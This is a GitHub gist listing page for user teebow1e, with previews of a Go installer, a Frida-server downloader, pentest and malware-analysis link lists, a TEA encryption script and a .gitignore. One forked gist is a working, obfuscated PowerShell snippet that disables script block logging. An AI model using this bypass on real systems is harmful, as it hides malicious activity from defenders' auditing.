Skip to content

Instantly share code, notes, and snippets.

View teebow1e's full-sized avatar
💖
learning something..

Trung Tran teebow1e

💖
learning something..
View GitHub Profile
@teebow1e
teebow1e / install_go.sh
Last active June 13, 2025 07:23
Install latest Golang
#!/bin/bash
GOLANG="$(curl -s https://go.dev/dl/ | grep -o 'go[0-9\.]*\.linux-amd64.tar.gz' | head -n 1)"
wget https://go.dev/dl/$GOLANG
sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf $GOLANG
rm $GOLANG
unset GOLANG
echo -e 'export PATH=$PATH:/usr/local/go/bin' | tee -a ~/.bashrc
bash -c "go env"
@teebow1e
teebow1e / ScriptBlockLogBypass.ps1
Created September 13, 2024 15:30 — forked from cobbr/ScriptBlockLogBypass.ps1
ScriptBlock Logging Bypass
# ScriptBlock Logging Bypass
# @cobbr_io
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
@teebow1e
teebow1e / frida.ps1
Last active September 7, 2024 09:24
[Android] Script to download frida-server
function Download-FileWithProgress {
param (
[string]$url,
[string]$destination
)
$request = [System.Net.HttpWebRequest]::Create($url)
$request.Method = "GET"
$response = $request.GetResponse()
@teebow1e
teebow1e / content.md
Created September 5, 2024 18:29
[Pentest] Các nguồn lab pentest
@teebow1e
teebow1e / build.sh
Created August 30, 2024 21:41
Pycdc build
#!/bin/bash
git clone https://github.com/zrax/pycdc
cd pycdc
cmake .
make
make check
./pycdc aaa.pyc
@teebow1e
teebow1e / content.md
Last active August 28, 2024 16:42
Malware Analysis

Malware Analysis from Attacks

Các repository/nơi tổng hợp link download malware

Các nguồn report/phân tích về các cuộc tấn công (APT)

@teebow1e
teebow1e / tea.js
Last active August 14, 2024 07:27 — forked from vicmortelmans/gist:1393077
[JavaScript] TEA encryption
// use (16 chars of) 'password' to encrypt 'plaintext'
function encrypt(plaintext, password) {
var v = new Array(2), k = new Array(4), s = "", i;
plaintext = escape(plaintext); // use escape() so only have single-byte chars to encode
// build key directly from 1st 16 chars of password
for (var i=0; i<4; i++) k[i] = Str4ToLong(password.slice(i*4,(i+1)*4));
@teebow1e
teebow1e / content.md
Last active August 11, 2024 07:50
[Windows] Setup new Windows machine checklist
@teebow1e
teebow1e / .gitignore
Created August 8, 2024 18:35 — forked from x3rAx/.gitignore
Gitignore with .gitkeep
# +----------------------------+
# | IDE files |
# +----------------------------+
/.idea
# +----------------------------+
# | Vagrant |
# +----------------------------+
/.vagrant